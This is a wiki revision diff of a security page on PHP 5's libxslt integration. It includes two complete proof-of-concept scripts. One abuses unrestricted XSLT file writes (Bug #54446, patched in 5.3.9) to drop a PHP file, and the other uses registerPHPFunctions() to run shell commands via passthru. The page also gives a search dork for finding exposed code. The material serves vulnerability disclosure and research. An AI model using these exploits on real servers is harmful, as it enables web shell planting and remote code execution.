Skip to Content

Changes for page Application_PHP5

Last modified by Nicolas Gregoire on 2012/02/02 17:29
From version Icon 14.1 Icon
edited by Nicolas Gregoire
on 2012/01/16 11:33
Change comment: There is no comment for this version
To version Icon 5.1 Icon
edited by Nicolas Gregoire
on 2012/01/13 16:34
Change comment: Deletion of attachment create-file-via-libxslt.php

Summary

Details

Icon Page properties
Tags
... ... @@ -1,1 +1,0 @@
1 -php|libxslt|code execution
Content
... ... @@ -1,35 +5,10 @@
1 -{{toc/}}
2 -
3 -= Introduction =
4 -
5 5  Dixit [[Wikipedia>>http://en.wikipedia.org/wiki/PHP||rel="__blank"]] : "//PHP is a general-purpose server-side scripting language originally designed for web development to produce dynamic web pages. It is among one of the first developed server-side scripting languages that is embedded into a HTML source document, rather than calling an external file to process data. Ultimately, the code is interpreted by a web server with a PHP processor module which generates the resulting web page.//"
6 6  
7 -= Creating files =
8 8  
9 -Version 5 of the PHP language uses the [[libxslt>>Engine_libxslt]] engine to transform XML documents using XSLT. Prior to version 5.3.9, calls to libxslt were not restricted via xsltSetSecurityPrefs(). It was then possible to create or overwrite files on the engine side, typically for dropping a PHP Web Shell. This vulnerability ([[Bug #54446>>https://bugs.php.net/bug.php?id=54446||rel="__blank"]]) was patched in version 5.3.9 ([[ChangeLog>>http://php.net/ChangeLog-5.php#5.3.9||rel="__blank"]]).
10 10  
11 -The attached [[create-file-via-libxslt.php>>attach:create-file-via-libxslt.php]] PoC will drop a basic PHP script in /tmp/.
5 +== Creating files ==
12 12  
13 -A better script was later posted on [[OSS-Security>>http://seclists.org/oss-sec/2012/q1/157]] at RedHat request. This PHP scipt will by default display a pre-filled HTML form including some XML data and XSLT code. When the form is submitted, the user-controlled
14 -XML data is transformed using the user-controlled XSLT code. Then, the output of this transformation is displayed in the browser.
7 +Version 5 of the PHP language uses the [[libxslt>>Engine_libxslt]] engine to transform XML documents using XSLT. Prior to version 5.3.9, calls to libxslt were not restricted via xsltSetSecurityPrefs(). It was then possible to create / overwrite files on the engine side, typically for dropping a PHP Web Shell (cf [[Bug #54446>>https://bugs.php.net/bug.php?id=54446||rel="__blank"]]).
15 15  
16 -When executed, the pre-filled XSLT code will write to /var/www/xxx/backdoor.php this content :
17 17  
18 -##
19 -<html><body>
20 -<h1><font color="red">I'm a (very) malicious PHP file !!!</font></h1>
21 -<?php phpinfo()?>
22 -</body></html>
23 -##
24 -
25 -Note : the payload is encrypted with RC4. A static key ("simple_demo") embedded in the XSLT code is used to decrypt it.
26 -
27 -= Executing PHP code =
28 -
29 -A call to [[registerPHPFunctions()>>http://php.net/manual/en/xsltprocessor.registerphpfunctions.php]] allows to execute standard PHP functions directly from the XSLT stylesheet. I never came across this pattern in real-life engagements but Google Code search references [[several>>http://www.google.com/codesearch#search/&q=registerPHPFunctions%20lang:%5Ephp$&type=cs||rel="__blank"]] instances of it (dork: "registerPHPFunctions lang:^php$"). This isn't a bug and will not be patched.
30 -
31 -
32 -|=Namespace |=Extension function |=PoC |=Note
33 -| http:~/~/php.net/xsl| Any PHP function|[[execute-code-via-libxslt.php>>attach:execute-code-via-libxslt.php]]| A call to registerPHPFunctions() is needed
34 -
35 -The attached [[execute-code-via-libxslt.php>>attach:execute-code-via-libxslt.php]] PoC will use the passthru() PHP function to execute "uname -a".
10 +The attached [[create-file-via-libxslt.php>>attach:create-file-via-libxslt.php]] PoC will drop a basic PHP script in /tmp/.
Icon create-file-via-libxslt.php
Author
... ... @@ -1,1 +1,0 @@
1 -xwiki:XWiki.NicolasGregoire
Size
... ... @@ -1,1 +1,0 @@
1 -601 bytes
Content
... ... @@ -1,33 +1,0 @@
1 -<?php
2 -
3 -$sXml = '<empty/>';
4 -
5 -$sXsl = <<<EOT
6 -<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
7 -
8 - <xsl:template match="/">
9 - <xsl:document href="/tmp/evil.php" method="text">
10 - <xsl:text><![CDATA[<?php phpinfo() ?>]]></xsl:text>
11 - </xsl:document>
12 - </xsl:template>
13 -
14 -</xsl:stylesheet>
15 -EOT;
16 -
17 -# LOAD XML FILE
18 -$XML = new DOMDocument();
19 -$XML->loadXML( $sXml );
20 -
21 -# LOAD XSLT FILE
22 -$XSL = new DOMDocument();
23 -$XSL->loadXML( $sXsl );
24 -
25 -# START XSLT
26 -$xslt = new XSLTProcessor();
27 -$xslt->importStylesheet( $XSL );
28 -
29 -# TRASNFORM & PRINT
30 -print $xslt->transformToXML( $XML );
31 -
32 -?>
33 -
Icon execute-code-via-libxslt.php
Author
... ... @@ -1,1 +1,0 @@
1 -xwiki:XWiki.NicolasGregoire
Size
... ... @@ -1,1 +1,0 @@
1 -653 bytes
Content
... ... @@ -1,36 +1,0 @@
1 -<?php
2 -
3 -$sXml = '<empty/>';
4 -
5 -$sXsl = <<<EOT
6 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
7 - xmlns:php="http://php.net/xsl"
8 - version="1.0">
9 -
10 - <xsl:template match="/">
11 - <xsl:value-of select="php:function('passthru', 'uname -a')"/>
12 - </xsl:template>
13 -
14 -</xsl:stylesheet>
15 -EOT;
16 -
17 -# LOAD XML FILE
18 -$XML = new DOMDocument();
19 -$XML->loadXML( $sXml );
20 -
21 -# LOAD XSLT FILE
22 -$XSL = new DOMDocument();
23 -$XSL->loadXML( $sXsl );
24 -
25 -# START XSLT
26 -$xslt = new XSLTProcessor();
27 -$xslt->importStylesheet( $XSL );
28 -
29 -# Register PHP functions as XSLT extensions !
30 -$xslt->registerPHPFunctions();
31 -
32 -# TRASNFORM & PRINT
33 -print $xslt->transformToXML( $XML );
34 -
35 -?>
36 -